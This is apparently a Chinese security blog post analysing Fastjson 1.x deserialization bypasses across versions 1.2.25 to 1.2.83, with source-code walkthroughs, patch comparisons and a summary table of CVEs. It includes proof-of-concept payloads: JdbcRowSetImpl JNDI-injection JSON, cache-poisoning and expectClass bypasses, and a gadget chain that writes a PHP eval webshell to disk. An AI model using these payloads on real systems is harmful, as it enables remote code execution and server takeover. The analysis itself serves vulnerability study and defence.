java安全-FastJson绕过汇总
FastJson绕过汇总
1 | https://central.sonatype.com/artifact/com.alibaba/fastjson/versions |
一、总览
1.攻防历史
上文提到的利用链都是在fastjson 1.2.24版本以及之前通杀的,也就是2017-01-19以及更早一些时候
在2017-02-06官方意识到存在如此之多问题之后,发布fastjson 1.2.25在该版本中官方进行了修复,自8此长达五年的拉锯战打开,一直到2022-05-23官方发布fastjson 1.2.83做了最后一次修复之后 决定开启新系列fastjson2
同时在四年后的2026-07-24,fastjson2在一系列修补过后爆发通杀漏洞
下方表格先做总结

1.2.25 引入
checkAutoType黑白名单 + autoType 默认关;1.2.68 引入safeMode(彻底禁 autoType,唯一硬修复);1.2.83 是 1.x 最后一个安全相关版本
这里我们找比较重要,有代表性的链子与防护做详解
2.重要防护点
fastjson 1.2.25这一个版本在2017-02-06发布,第一次对当时已经出现的五花八门的利用方式进行防护,
具体方式有俩点
1 | https://github.com/alibaba/fastjson/releases/tag/1.2.25 |
主要防护点就是新增checkAutoType函数和默认为false的autoTypeSupport参数
详解如下
1.2.24 未做修复的版本

下方为1.2.25版本

这个函数中的逻辑便是对比黑名单与白名单,然后对比缓存等等一系列东西 最后在加载类
同时官方在这次新增中加入了一个默认值为false的参数autoTypeSupport
真实逻辑一共分为九层
由这九层产生了一些列绕过
同时这里还存在一个重要的锁 autoTypeSupport || expectClass != null
autoTypeSupport 这个就是常提的autoType 由用户自行设置 默认为false
expectClass这个是否为null取决于下面方式

但由于下面等情况存在,导致该参数一般都为null
- 顶层 JSON.parse(输入) 不带 Class —— 这是漏洞入口里最常见的写法。服务端拿到一段结构不定的 JSON 直接 parse,根本没有”期望类型”
- 字段声明成 Object(或 Serializable、Comparable 这种顶层类型)—— Object 是所有类的爹,”期望是 Object”等于”啥都行”,约束等于没有,效果上就是 null
因此autoTypeSupport || expectClass != null这把锁一般情况下都为null
3.具体代码逻辑
我们以autoTypeSupport || expectClass != null为边界点,也就是autoType关闭不关闭为边界点
函数逻辑就被成功分开
1 | http://101.200.184.201:7070/fastjson/check/ |
这个链接打开的思维导图蛮不错,可惜不能长久
3.1、autoType关闭时

如图,也就是一共有六步函数存在
第一步
做检查与归一化处理与
防止攻击者用 $ 变形躲开 startsWith 前缀匹配,检查用归一化后的 className,但 loadClass 用的是原始 typeName
第二步

从内置 mapping 缓存 + 已注册 deserializers 里找类,不做任何动态加载
autoType 关闭时的安全区:只认已经认识的类,缝在1.2.47修复的 通过 java.lang.Class 处理器这条链 往这张缓存表投毒,让攻击类变「熟人」,直接从这里命中返回,绕过全部检查
第三步

如果说上面缓存或者等等加载到了类,这里进行期望校验 如果说期望类类不是空的话就进行校验,不匹配就报错,之后直接返回类,这里就是利用点,但是这里在1.2.33修了一下,在做检验之后统一返回
第四步

这里做autoType关闭时真正的校验
先黑名单在白名单
denyList列表大概如下

就是一些恶意类,当时市面上非常出名的一些恶意类
基本就是把 ysoserial 那套著名 gadget 库 + 几个 JNDI/字节码触发点,挨个抄进来禁掉
之后一段时间,这份名单不断演化

这个加密其实没啥用,因为算法是公开的,所以直接可以爆破,但是确实存在大佬爆破这个,并发布到github里
1 | https://github.com/LeadroyaL/fastjson-blacklist |
白名单的话没什么好说的,自定义的一些类,一般也不可能走到这里面,然后的话,这个版本这一块还有点小问题
1 | if (expectClass != null && expectClass.isAssignableFrom(clazz)) { |
这里本应该取反,expectClass.isAssignableFrom(clazz)判断条件应该取反,不然就不对了,下一个版本就修复回来了
第五步

进一步的黑名单验证,这个是从另外的维度去加黑名单
1 | ClassLoader.class.isAssignableFrom(clazz) // clazz 是不是 ClassLoader 的子孙? |
isAssignableFrom 查的不是名字,是继承/实现关系
- 能加载类的 ClassLoader:java.net.URLClassLoader、各种框架/容器自带的类加载器、BCEL 的 ClassLoader……分散在几十上百个不同的包里,而且第三方库随时能引入新的
- 能连数据库的 DataSource:c3p0、dbcp、druid、hikari、tomcat-jdbc……每个连接池库都有自己的 DataSource 实现,包名各不相同
同时,也是因为
- ClassLoader:它的本职工作就是加载类 攻击者要是能实例化一个 ClassLoader 子类、喂给它一个远程 URL 或一段字节码,它就能从远程/字节码里定义出任意类并执行,直接rce
- DataSource:注释写得明明白白 dataSource can load jdbc driver。数据源在建连接时会去触发 JNDI 查询(→ JNDI 注入)或加载 JDBC 驱动类(某些实现能指定 driverClassLoader,配合 BCEL 加载恶意字节码)
第六步
继续做一步校验

基本上锁死了autoType关闭的情况下又想要rce的路,但是,绕过的方式五花八门,怎么会如愿以偿
3.2、autoType开启时

这里,依旧是六部,但是包含了之前提到过的一些东西
第一步
autoType开启时经历的第一道大关
先白名单在黑名单

和之前一样的配置,黑名单也是一样的东西,白名单依旧是自定义的
依旧是过了白名单直接返回,被黑名单捕获抛异常
如果啥都没事的话,走下一步
第二步、第三步
这个第二步、第三步和之前一样
都是从缓存中加载类,一般正常情况下的攻击类都加载不到嘛
第四步
1 | if (autoTypeSupport || expectClass != null) { |
第四步的这里可是正儿八经的去加载类,也是整场对抗中唯一一处动态加载任意动态类的地方
后面知名的数组绕过方式,就是从这里诞生的
第五步

上一步加载搞定之后,就是进一步校验,也就是之前提到的第二层校验
事情到这里也就结束,漏洞绕过与修补的帷幕就此拉开
二、防护与攻击
这里只选择一些比较重大绕过,思路比较新奇的一些绕过点与防护点
1.Fastjson1.2.33改动
这个版本本身没有造成任何漏洞也没又防护任何漏洞,只不过是这个版本在一个函数的设计上,误打误撞的出了问题
这一块先要知道在fastjson1.2.48修复的缓存通杀链
1 | { |
1.2.25到1.2.32

1.2.33以及之后

由此,导致在fastjson1.2.33版本之后1.2.48之前的java.lang.Class这个缓存通杀,在无论AutoType是否开启的情况下,都可以通杀!

就是如图所示
感觉当时官方本意是好的
那些已经被系统正常加载、注册进缓存的类,应当被视为”可信的、放行过的”,不该因为包名前缀恰好撞进黑名单就误杀——算是个减少误伤的优化
但是,”缓存里有” ≠ “可信”。因为假装我们已经知道——这个缓存是攻击者能主动污染的(用 {“@type”:”java.lang.Class”,”val”:”…”}
这么修改其实也是当时这个缓存通杀没有爆出来,不然肯定不修改啦
2.Fastjson1.2.42-44改动
其实是连续三个版本

这三,我现在看来都非常震撼
其实本质就是checkAutoType和加载TypeUtils.loadClass对同一个类名的理解不一致
2.1、JVM中数组与类
在源码中,写一个类或者数组直接就是 int、String、String[]
但是在 JVM 内部(字节码、反射、JNI)不认这些名字,它用一套自己的类型描述符来编码所有类型,编码直接就是硬性的规定
基本类型
| 基本类 | JVM 描述符 |
|---|---|
| int | I |
| long | J |
| boolean | Z |
| double | D |
普通类的话,描述方式就是 L + 类名 + ;
1 | String |
对于数组来说
每多一维,前面加一个 [
| 源码 | jvm |
|---|---|
| int[] | [I |
| String[] | [Ljava/lang/String; |
2.2、Fastjson类加载器

其实也就一个类加载器,具体内部逻辑如下

加载类没什么好说的,就是去掉头和尾的关于类的描述符
"L" ";"
然后就是return loadClass(newClassName, classLoader);递归直到加载到类
加载数组这里
1 | if (className.charAt(0) == '[') { |
这里其实也是在递归加载这个类
假设 className = "[[Ljava.lang.String;"(String[][]):
- 第一次调用:发现开头是
[,去掉后变成"[Ljava.lang.String;",递归调用loadClass - 第二次调用:又发现开头是
[,去掉后变成"Ljava.lang.String;",再递归调用(这时候会走到处理普通类名的分支,加载出String.class) - 第二层返回:
componentType = String.class,构造String[0],得到String[].class并返回 - 第一层返回:
componentType = String[].class,构造(String[])[0](即一个长度为0的二维数组),得到String[][].class并返回
然后,找到类名之后,Fastjson官方就不死不休的去加载这个类

这就导致危险类最后一定会被加载成功
2.3、Fastjson1.2.42
2.3.1、源码修复点
直到2017-12-12阿里巴巴发布了fastjson1.2.42
这一版本的修复点有点多
一个是黑名单不再是明文,换成一串 fnv1a_64 哈希值
一个就是比对前先扒掉 L;,再算哈希查黑名单
源码对比如下
Fastjson1.2.41

Fastjson1.2.42

改动主要就是这俩处
对类名绕过的防护
1 | final long BASIC = 0xcbf29ce484222325L; // FNV-1a 64位的偏移基准 (offset basis) |
其实就是对字符串的第一个字符和最后一个字符做了两轮 FNV-1a 哈希
1 | long h = BASIC; |
如果首尾两个字符经过这套哈希运算后正好等于目标值 0x9198507b5af98f0L,就把字符串去掉首尾各一个字符,魔数穷举反解对于唯一对应「首字符 L、末字符 ;」
对黑名单数组的保护
这个版本中

黑名单数组为一堆加密后的字符串,这个在之前也提到过,这里最后被解谜了,就是一堆黑名单类与前缀
具体匹配逻辑依旧是前缀匹配,不过更加复杂一些

1 | for (int i = 3; i < className.length(); ++i) { |
FNV-1a 是从左往右逐字符累积的,所以循环到第 i 位时,hash 恰好等于 className 前 i+1 个字符这个前缀的哈希值

这个改动不是为了修复漏洞,只是为了加点难度
2.3.2、漏洞利用
就是对类名去一层包裹那里守住的
poc如下
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", |
影响版本
[1.2.25–1.2.41]
要求是AutoType参数必须开
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |

手法呢,就是利用了黑名单检查类与实际加载类的名字与方式不同,同时,由于 autoType参数开启,所以会加载自定义的类

checkAutoType 黑名单:startsWith(“com.sun.”) 比对 “Lcom.sun.rowset.JdbcRowSetImpl;”
→ 字符串以 “L” 开头,不是 “com.sun.” → 不命中 → 放行
loadClass:命中 ②,脱掉 L 和 ; → “com.sun.rowset.JdbcRowSetImpl” → 加载真身 → RCE
然后这个有限性就是 autoType参数 默认 false 时锁死,因为途中3处,如果关闭 这里抛出异常
然后官方在Fastjson1.2.42中加入

进一步导致我们的链在1.2.42版本失效,链子被检测出来

2.4、Fastjson1.2.43
2.4.1、源代码修复点
2017-12-16官方在42版本发布4天后紧急弥补
1.2.42

1.2.42版本的问题出现在做检查的时候,只是一层,导致很容易使用双写绕过
1.2.43

这里就是修复逻辑
一共存在俩hash常量

就是内层做一次检查
如果 前两个字符的哈希 == “LL”的哈希 → 也就是 如果 前两个字符是 LL → 抛异常
因为一个正常的类型描述符,最多只有一层 L:
Lcom.sun.rowset.JdbcRowSetImpl;
↑ ↑
L(一层) 第二个字符是包名首字母 ‘c’
正常情况第二个字符应该是包名的首字母(c/o/j……),绝不会是 L。一旦第二个字符还是 L(即 LL…),那只有一种解释:有人故意套了两层 L,想利用”checkAutoType 只剥一层、loadClass 递归剥到底”的差异来架空黑名单。正常业务永远产生不了 LL 开头的类型名。所以 fastjson 判定:见到 LL 开头,一律是攻击,直接拒
2.4.2、漏洞利用
就是这个俩层防护守护的
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", |
影响版本
[1.2.25–1.2.42]
要求是AutoType参数必须开
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |

手法呢,就是利用了43版本修复的双写绕过方式
1.2.42 的补丁 substring 只脱一层:
“LLcom.sun.rowset.JdbcRowSetImpl;;” → 脱一层 → “Lcom.sun.rowset.JdbcRowSetImpl;”
拿这个去比黑名单 → 还是以 “L” 开头 → 不命中 → 放行
loadClass 是递归的,一层层全脱光:
“LLcom…;;” → “Lcom…;” → “com.sun.rowset.JdbcRowSetImpl” → 真身 → RCE
安检只脱一次,加载器脱到底,攻击者多穿一件外衣,安检脱完还剩一件没认出来,加载器却把两件都脱了
BlBana 的分析:”修复只考虑到 Lcom…; 一层,做了一次提取,导致 LLcom…;; 或前后加更多 L、; 都能绕。”
随后,2017-12-16上线的双保险修复这个问题

2.5、Fastjson1.2.44
当初真的修复了嘛,其实并没有,很快又发现了新绕过方式
2017-12-211.2.43发布五天后又发一版补丁
2.5.1、源代码修复点
1.2.43

检查点只有关于L;这个类加载解析绕过的方式
1.2.43

1 | final long h1 = (BASIC ^ className.charAt(0)) * PRIME; |
- 第一条:h1 == 0xaf64… ⟺ 首字符是 [ 正常类名绝不会以 [ 开头,所以一个字符就定死 → 拒
- 第二条:(h1 ^ 末字符)*PRIME == 0x9198… ⟺ 首 L 且尾 ;,即 Lxxx; 对象描述符包裹 → 拒
也就是说

2.5.2、漏洞利用
影响版本
[1.2.25–1.2.42]
要求是AutoType参数必须开
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
poc如下
1 | String s = "{" + |
其实就是
1 | { |
- [com.sun.rowset.JdbcRowSetImpl:告诉 fastjson”接下来要造的是一个 JdbcRowSetImpl 数组”
- “…” 后面直接跟 [(没有逗号):这是最反常识的地方 按标准 JSON,key-value 之后该是逗号或 },不该冒出个 [ 但 fastjson 读到”数组类型”后,它内部的状态机就切到”下面该是数组开括号了”,于是它主动期待一个 [ 这在标准 JSON 眼里是畸形的,但 fastjson 的解析器有自己的容错怪癖,吃得下
- {…}:数组里的元素 真正的 JdbcRowSetImpl 实例是这个 {},它的 autoCommit 赋值才是最终触发 JNDI 注入的那一下
这个payload有来源说是这个


在1.2.44中直接匹配数组符号,该方式被修复

自此,这场闹剧十天之内结束
3.Fastjson1.2.48改动
3.1、漏洞利用
poc如下
1 | { |
1 | String s = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," |
3.1.1、投毒一
fastjson在反序列化
1 | {"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"} |
这一串,也就是Class类时的逻辑造就了投毒的可能
当Class进入checkAutoType函数做检查时,一共会出现俩种可能
AutoType关闭时

1 | if (clazz == null) { |
这个代码比较关键
这个deserializers反序列化器在设计上的实现如下
com/alibaba/fastjson/parser/ParserConfig.java#102
1 | private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>(); |
接着就是初始化这个反序列化器

其中put方法就是为反序列化器中加入类

刚好这里默认反序列化器的bucket里面加入了我们的目标Class类
1 | if (clazz == null) { |

findClass类也就是去从默认反序列化器里面寻找类
当然我们传入的Class.class一定会被找到,并且也会被加载
接着,就将类返回

自此,投毒第一段结束


3.1.2、投毒二
接着进入反序列化逻辑

这里遇到一个分支判断,实际没什么作用,大概逻辑如下

接着就是
1 | ObjectDeserializer deserializer = config.getDeserializer(clazz); |
com/alibaba/fastjson/parser/ParserConfig#getDeserializer

getDeserializer(Class.class) 接着 deserializers.get(Class.class)
直接就命中了 line 271 注册的 MiscCodec.instance
接着就是执行
1 | Object obj = deserializer.deserialze(this, clazz, fieldName); |
重点就在com/alibaba/fastjson/serializer/MiscCodec#deserialze函数内部
先是俩个判断

接着加载var变量

具体逻辑

这里将加载到val中定义好的值
接着去选择Class类反序列化器对应的处理方式

接着就是
com/alibaba/fastjson/util/TypeUtils#loadClass方法
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
转一层 注意这个转一层的时候传递的第三个参数也就是cache参数为True,这也为后面写入mapping实现可能


自此,投毒完成

3.1.3、命中
至于命中这一块的逻辑就简单多了
不开autoTypeSupport(也是默认)

之前的判断逻辑如下
1 | ├─[901] typeName==null? 否,继续 |
开启autoTypeSupport
这里就提到了 Fastjson1.2.33改动
在1.2.33改之后

之后类加载逻辑不变
于是出现了

3.1.4、总结
投毒

命中

同时poc的构造还有意思
1 | { |
外层 {} 没有 @type , fastjson 当普通 Map,逐字段解析
于是顺序变成了

外层大括号的唯一作用,就是当一个”驱动器”:它自己不触发任何 autoType(因为没 @type),只负责让 fastjson 挨个去解析里面的成员,从而让”投毒””取毒”两步依次发生
“a” 和 “b” 这两个键名没有任何特殊含义,叫 “x”/“y”、”p1”/“p2” 都一样,它们存在的唯一意义,是让两个子对象成为外层 Map 的两个成员,好被依次解析

3.2、源码修复点
1.2.48 版本中默认加载类时,缓存字段为false
Fastjson1.2.47时
com/alibaba/fastjson/serializer/MiscCodec#deserialze

com/alibaba/fastjson/util/TypeUtils#loadClass

Fastjson1.2.48时
com/alibaba/fastjson/serializer/MiscCodec#deserialze

进一步在触发反序列化加载类时
com/alibaba/fastjson/util/TypeUtils#loadClass

本质上就是下图
不再把“能够被类加载器加载”误认为“已经经过 Fastjson 安全策略批准”从而加入缓存


官方当时对缓存处理的非常果断,实现的非常完美,所以后面缓存投毒这一块直接堵死
4.Fastjson1.2.68改动
4.1、源码改动
alibaba官方在2020-03-28发布这一版本
当时针对于这个Fastjson黑名单的绕过方式层出不穷,封禁一种就产生一种
而且
1.2.25版本引入的AutoType开关并不能完全彻底的阻止类的加载
此开关默认情况为关闭状态
即 autoTypeSupport == false
但是依旧可以走到类加载等等逻辑
为了解决这个问题,官方在
fastsjon1.2.68中引入了safeMode参数来控制是否进行序列化
1.2.67之前的checkAutoType函数

1.2.68以及之后

这个防护就比较深刻了,直接从入口将所有存在
1 | { |
这种类加载情况断绝
而且他位于所有类加载流程之前,也就是说只要此参数开启,fastjson就不会去加载存在 @type 参数的字符串
也就是下面说的

4.2、参数配置
比较幸运吧算是,这个参数是默认关闭的,开启的话方式如下
JVM 系统属性
1 | -Dfastjson.parser.safeMode=true |
针对某个 ParserConfig
1 | ParserConfig config = new ParserConfig(); |
反序列化函数参数
1 | public static Object parse( |
5.Fastjson1.2.69改动
5.1、漏洞利用
poc如下
1 | { |
恶意类evil2
1 | import java.io.IOException; |
1 | String poc = "{" |
5.1.1、投毒一
Fastjson 不是先把整个 JSON 解析成 JSONObject,再决定使用哪个反序列化器;而是边读取字段,边根据已经读到的 @type 动态切换反序列化器
DefaultJSONParser 中持有一个 lexer
而JSONLexer 内部维护了类似这些状态
1 | protected int bp; // 当前字符位置 |
于是出现解析
1 | { |
这样的形式时
先行获取“{”

进入com/alibaba/fastjson/parser/DefaultJSONParser#parseObject
此函数是整个字串反序列化的关键一环

接着就是之前熟知的checkAutoType函数与反序列化器反序列化部分
checkAutoType函数

反序列化器反序列化

此时投毒的第一阶段也就结束,但是我们具体看看这俩部分
进入checkAutoType函数
此时@Type参数为java.lang.AutoCloseable
同时这个类在加载的时候刚好被放到缓存中

于是乎,在checkAutoType函数时,这里就直接加载到类

从整个调用链接上来看的话,也就是下面这个
1 | http://101.200.184.201:7070/fastjson/check/ |

反序列化器反序列化
这里主要是获取反序列化器的过程,反序列化过程也就算是投毒二了

提到的第一点,AutoCloseable这个类对应的反序列化器为JavaBeanDeserializer

置于第二点反序列化则为投毒2
5.1.2、命中一
也就是JavaBeanDeserializer整个的反序列化过程
1 | Object obj = deserializer.deserialze(this, clazz, fieldName); |
进一步堆砌也就是
1 | public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { |
最终传参为

注意这里是第一次进入com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#deserialze这个反序列化函数
同时,这个函数的伪代码也就是
1 | deserialze(parser, type, fieldName, object, features, setFlags) { |
这一次进来的时候因为随行的参数是@Type,以及对应的值为
ctf.demo.DemoCloseable
在循环字段的时候走到
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#705

com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#783

下一棒就是重头戏,恶意类的返回

第三点
1 | userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); |
进入函数具体查看

就通过这三招,使用expectClassFlag这个参数,完美绕过了黑名单,白名单等等限制
直接杀死比赛,让恶意类成功加载

用到了整个流程图的这一块部分
1 | http://101.200.184.201:7070/fastjson/check/ |
自此投毒部分彻底完结,我们的恶意类成功loadclass
5.1.3、命中二

也就是之前图片中四、五部分,这里也就是第二次进入
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer#deserialze这个反序列化函数
不过这次,走的是正常字段反序列化,因为当前的下一个键为正常字段,我们也为他创造了setter方法
以下是此次调用的伪代码,使用调试功能时发现老是卡住,应该是bug的问题
1 | 有无参构造器:先创建对象,再调用 setter |
也就是会调用这里创建类

这里调用setter方法

最终也印证猜想

5.1.4、栈图总结
进入逻辑

投毒一

投毒二

命中

5.2、源码修复点
2020年5月alibaba官方发布fastjson1.2.69时隔俩个月,发布一版更新
这次更新就是为了解决上面的绕过手法
fastjson1.2.69的修复简单粗暴
fastjson1.2.68以及之前com/alibaba/fastjson/parser/ParserConfig.java在判断是否为期望类的逻辑

fastjson1.2.69以及之后

对期望类的黑名单加密并在此基础之上,加入几个恶意绕过类
解密而来就是

其中就包含刚刚提到的
AutoCloseable投毒类
具体的提交commit
1 | https://github.com/alibaba/fastjson/commit/9af851152ec142d394a6c8dd0813d33e71adb410 |
同时,需要注意的时,此时修复,只是关注于默认 autoTypeSupport = false时,当autoTypeSupport = true时,无论修复与否都可以实现恶意类加载

5.3、扩大战果
上面的实现都是在自定义恶意类的情况下实现,正常利用时会利用到一些自带类实现攻击
其实本质上就是利用实现AutoCloseable接口的内部类的功能实现攻击
找到了 SafeFileOutputStream与Output这俩类
SafeFileOutputStream
org/eclipse/core/internal/localstore/SafeFileOutputStream.class
这个函数的实现逻辑特别简单
具体涉及的的四个参数如下
1 | target:最终目标文件 |
构造函数逻辑如下

copy函数如下

rename函数
1 | public boolean renameTo(File dest) { |
看似重命名,实则内部逻辑直接就是移动文件
transferStreams函数
1 | protected void transferStreams(InputStream source, OutputStream destination) throws IOException { |
就是一个流向另一个流中写数据,也就是实现文件复制的效果
最终poc
1 | String poc = "{" |

真实问题总结就是
该类在路径可控的对象构造场景下,提供了任意文件复制能力;若目标路径位于 Web 可访问目录,则可进一步造成任意文件读取
SerialOutput
com/sleepycat/bind/serial/SerialOutput
这个调用方式比较复杂
先上poc
1 | byte[] content = "<?php @eval($_POST['attack']) ?> \n".getBytes(StandardCharsets.UTF_8); |
用到了Fastjson循环引用的技巧来调用
1 | { |
链路逻辑为
反序列化入口会调用 SerialOutput构造方法
接着调用其中的 super(out);
也就是ObjectOutputStream(com.esotericsoftware.kryo.io.Output),ObjectOutputStream的构造方法

进一步调用图片中指出的ObjectOutputStream类中的bout.setBlockDataMode(true);方法
会接着调用 drain();方法
接着其中out.write(buf, 0, pos);方法
也就是 Output类的write方法

com/esotericsoftware/kryo/io/Output类中的write方法
调用同类下 writeBytes方法
接着调用同类下require(copyCount);方法
接着调用同类下flush方法
最终进入
1 | outputStream.write(buffer, 0, position); |
也就是SafeFileOutputStream类

至于SafeFileOutputStream类中的write方法就是直接写入文件了

整体调用栈图
解析

爆炸

涉及到的类
1 | com.sleepycat.bind.serial.SerialOutput |
均实现类Autocloseable接口,所以才会被加载
6.Fastjson1.2.83改动
6.1、漏洞利用
poc如下
1 | String json = |
恶意类evil3
1 | public class evil3 extends Exception { |
6.1.1、投毒一
这个绕过方式和上一种绕过方式很是类似
不同的是,这一次的双@Type
1 | 第一个 @type:java.lang.Exception |
而之前的那一次是
1 | 第一个 @type:java.lang.AutoCloseable |
具体的投毒逻辑如下
第一个 @type 进行Exception类加载
我们在挑取Exception也是下了一番功夫的,此类刚好在缓存中添加

由此,当进入 checkAutoType时

由此轻易的拿到 Exception.class类并加载
6.1.2、投毒二
上方 clazz变量拿到了Exception类,接着调用

熟悉的逻辑
不同的是,这回获取的类加载器不是JavaBeanDeserializer而是ThrowableDeserializer类加载器
接着就会像之前那样,如果匹配到@Type就会进行有期望类的类加载

注意此时,第二个参数直接写死,为Throwable.class
我们的恶意类就进一步走向了
1 | exClass = parser.getConfig().checkAutoType( |
6.1.3、命中
命运就和之前一样 expectClassFlag参数为True

然后和之前的绕过方式一样

成功实现恶意类的加载
下一步是和之前不一样的地方
之前走到这一步的时候又重复获取反序列化器又进入了一个栈取调用反序列化函数以及setter等方法
ThrowableDeserializer直接开始调用setter等反序列化方法

接着是setter方法

6.1.4、栈图总结
1 | 第一次 @type |
6.2、源码修复点
此漏洞当年还被评了cve

1 | - 35db4ad:bug fix for autoType (https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d) |
重点修复就一点
1.2.80以及之前的实现

1.2.83的实现

也就是这里

1 | https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d |
漏洞利用范围是
1.2.80以及之前,漏洞修复版本为1.2.83
其实很容易明白
官方并不存在 fastjson 1.2.81 和 1.2.82 这两个公开发行版本
三、总结
按发现顺序 “是否需开启 autoType”这一列决定真实世界严重性——默认关闭下仍能打的才是高危:
| 版本区间 | 编号 | 手法 / 名称 | 需 autoType 开启? | 修复版本 | 严重性 |
|---|---|---|---|---|---|
≤ 1.2.24 |
CVE-2017-18349 | autoType 默认开,无黑名单,直接 JNDI/字节码 | 否(默认就开) | 1.2.25 | 🔴 critical |
1.2.25–1.2.41 |
— (社区) | L...; JNI 描述符绕过黑名单 |
是 | 1.2.42 | 🟠 高但受限 |
1.2.42 |
— (社区) | 双写 LL...;; |
是 | 1.2.43 | 🟠 高但受限 |
1.2.43 |
— (社区) | [ 数组前缀绕过 |
是 | 1.2.44 | 🟠 高但受限 |
1.2.45 |
— (社区) | 第三方 gadget:mybatis JndiDataSourceFactory |
是(+需 mybatis 3.x<3.5.0) | 1.2.46 起加黑名单 | 🟠 |
≤ 1.2.47 |
CNVD-2019-22238 | java.lang.Class 缓存投毒通杀 |
否 ← 默认配置即可打 | 1.2.48 | 🔴 critical(在野最广) |
1.2.48–1.2.67 |
— (多篇/CNVD) | gadget 军备竞赛:不断发现新 JNDI 工厂类 | 视 gadget,部分默认可达 | 逐版扩黑名单 | 🔴 |
≤ 1.2.68 |
— (社区,2020-05) | expectClass / AutoCloseable(异常类)绕过 |
否(绕过 autoType 开关) | 1.2.69 起补;1.2.68 引入 safeMode | 🔴 |
≤ 1.2.80 |
CVE-2022-25845 | Throwable 子类 expectClass 绕过 |
否 | 1.2.83(2022-05-23) | 🟠 High(受 gadget 限制) |
1.2.66–1.2.83 |
无 CVE(2026 披露) | @JSONType 远程类加载(gadget-free,SSRF→RCE) |
否(无视 autoType) | 未修复(1.x EOL)→ safeMode/迁 v2 | 🔴 |
防御里程碑:1.2.25 引入
checkAutoType黑白名单 + autoType 默认关 1.2.68 引入safeMode(彻底禁 autoType,唯一硬修复) 1.2.83 是 1.x 最后一个安全相关版本